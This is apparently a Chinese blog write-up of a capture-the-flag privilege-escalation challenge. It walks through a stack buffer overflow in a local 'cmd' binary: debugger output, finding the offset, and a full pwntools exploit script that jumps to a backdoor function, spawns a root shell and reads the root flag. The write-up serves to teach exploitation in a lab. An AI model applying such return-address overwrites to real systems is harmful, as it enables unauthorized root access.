────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────
RAX 0xffffffff
RBX 0x3e8
RCX 0x72
RDX 2
RDI 0x7fffffffde50 ◂— 0x6161616161616161 ('aaaaaaaa')
RSI 0x40206d ◂— 0x786d676d72006d72 /* 'rm' */
R8 0xf000000000000000
R9 0x7fffffffde50 ◂— 0x6161616161616161 ('aaaaaaaa')
R10 3
R11 0x7ffff7f171e0 (__strncmp_avx2) ◂— cmp rdx, 1
R12 0
R13 0x7fffffffdfd8 —▸ 0x7fffffffe2db ◂— 'DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus'
R14 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe310 ◂— 0
R15 0
RBP 0x6161616161616169 ('iaaaaaaa')
RSP 0x7fffffffde98 ◂— 0x616161616161616a ('jaaaaaaa')
RIP 0x4014d9 (process_command+84) ◂— ret
─────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────────────────────────
► 0x4014d9 <process_command+84> ret <0x616161616161616a>










──────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffde98 ◂— 0x616161616161616a ('jaaaaaaa')
01:0008│ 0x7fffffffdea0 ◂— 0x616161616161616b ('kaaaaaaa')
02:0010│ 0x7fffffffdea8 ◂— 0x616161616161616c ('laaaaaaa')
03:0018│ 0x7fffffffdeb0 ◂— 0x616161616161616d ('maaaaaaa')
04:0020│ 0x7fffffffdeb8 ◂— 'naaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa'
05:0028│ 0x7fffffffdec0 ◂— 'oaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa'
06:0030│ 0x7fffffffdec8 ◂— 'paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa'
07:0038│ 0x7fffffffded0 ◂— 'qaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa'
────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────
► 0 0x4014d9 process_command+84
1 0x616161616161616a None
2 0x616161616161616b None
3 0x616161616161616c None
4 0x616161616161616d None
5 0x616161616161616e None
6 0x616161616161616f None
7 0x6161616161616170 None
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l 0x616161616161616a
Finding cyclic pattern of 8 bytes: b'jaaaaaaa' (hex: 0x6a61616161616161)
Found at offset 72

得到偏移为72

直接覆盖返回地址为hahaha地址

1
2
❯ python3 -c "from pwn import *; print(p64(0x401433))"
b'3\x14@\x00\x00\x00\x00\x00'

其实直接用pwntools即可

靶机里面已经预装好了

payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python3

from pwn import *

TARGET_PROGRAM = './cmd'
OFFSET = 72

TARGET_ADDR = 0x401433 # 替换为你实际的函数地址

context.log_level = 'info' # 'debug', 'info', 'warn', 'error'
context.arch = 'amd64' # 设置架构,这里是 64 位程序

if args.REMOTE:
# 远程连接
# p = remote(HOST, PORT)
print("Please uncomment remote connection details in the script!")
exit() # 确保用户修改了这里
else:
# 本地启动进程
p = process(TARGET_PROGRAM)

# =========================================================
# 3. 构造 Payload
# =========================================================

log.info(f"Target address: {hex(TARGET_ADDR)}")
log.info(f"Offset to return address: {OFFSET} bytes")

# 填充垃圾数据,直到返回地址
payload = b'A' * OFFSET

# 将目标地址转换为 8 字节的小端序格式
# p64() 是 pwntools 提供的便捷函数,自动处理小端序和字节长度
payload += p64(TARGET_ADDR)

# 如果目标函数有参数,并且你希望传递它们,可以在这里继续添加
# payload += p64(arg1)
# payload += p64(arg2)

# 发送 payload
p.sendline(payload)
p.interactive()

执行即可

1
2
3
4
5
6
7
8
9
10
xiaoyuega@HiddenGate:~$ python3 exp.py
[+] Starting local process './cmd': pid 1454
[*] Target address: 0x401433
[*] Offset to return address: 72 bytes
[*] Switching to interactive mode
Please enter command: root shell
$ id
uid=0(root) gid=1000(xiaoyuega) groups=1000(xiaoyuega)
$ cat /root/root.txt
flag{474b4f81b97b523cae66c00f4655cf39}

但是你直接使用payload输出,不知道为什么虽然跳转到后门函数了,但没执行/bin/sh

1
2
xiaoyuega@HiddenGate:~$ python3 -c "from pwn import *; import sys; sys.stdout.buffer.write(b'A'*72 + p64(0x401433))" |./cmd
Please enter command: root shell

Gemini给出的回答

问题在于 你将 payload 通过管道 (|) 传递给了 cmd 程序,并且 cmd 程序在执行 execl 之前就终止了其标准输入/输出流。

execl("/bin/sh", "sh", 0LL); 被调用时:

  • 它会替换当前的进程映像为 /bin/sh
  • 新的 /bin/sh 进程会继承父进程(即被 cmd 程序替换的那个进程)的文件描述符,包括标准输入 (stdin)、标准输出 (stdout) 和标准错误 (stderr)。

由于你使用管道连接了 cmd 程序,导致:

  • cmd 程序的 stdin 连接到管道的写端。
  • cmd 程序的 stdout/stderr 连接到管道的读端,然后输出到你的终端。

execl 发生时,新的 /bin/sh 继承了这些文件描述符。但由于管道通常在发送完数据后就会关闭或者进入非交互模式,sh 无法直接从你的键盘接收输入,也无法将它的输出直接显示在你的终端上。它继承的 stdin 可能已经关闭或者处于 EOF 状态。

总结原因:

管道 (|) 适合传递一次性输入和接收一次性输出。但是对于需要持续交互的 shell,它无法提供一个双向的、持续的通信通道。pwntoolsinteractive() 函数就是为了解决这个问题而设计的。

所以只能使用pwntools来解决😅

总字数 633.1k
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务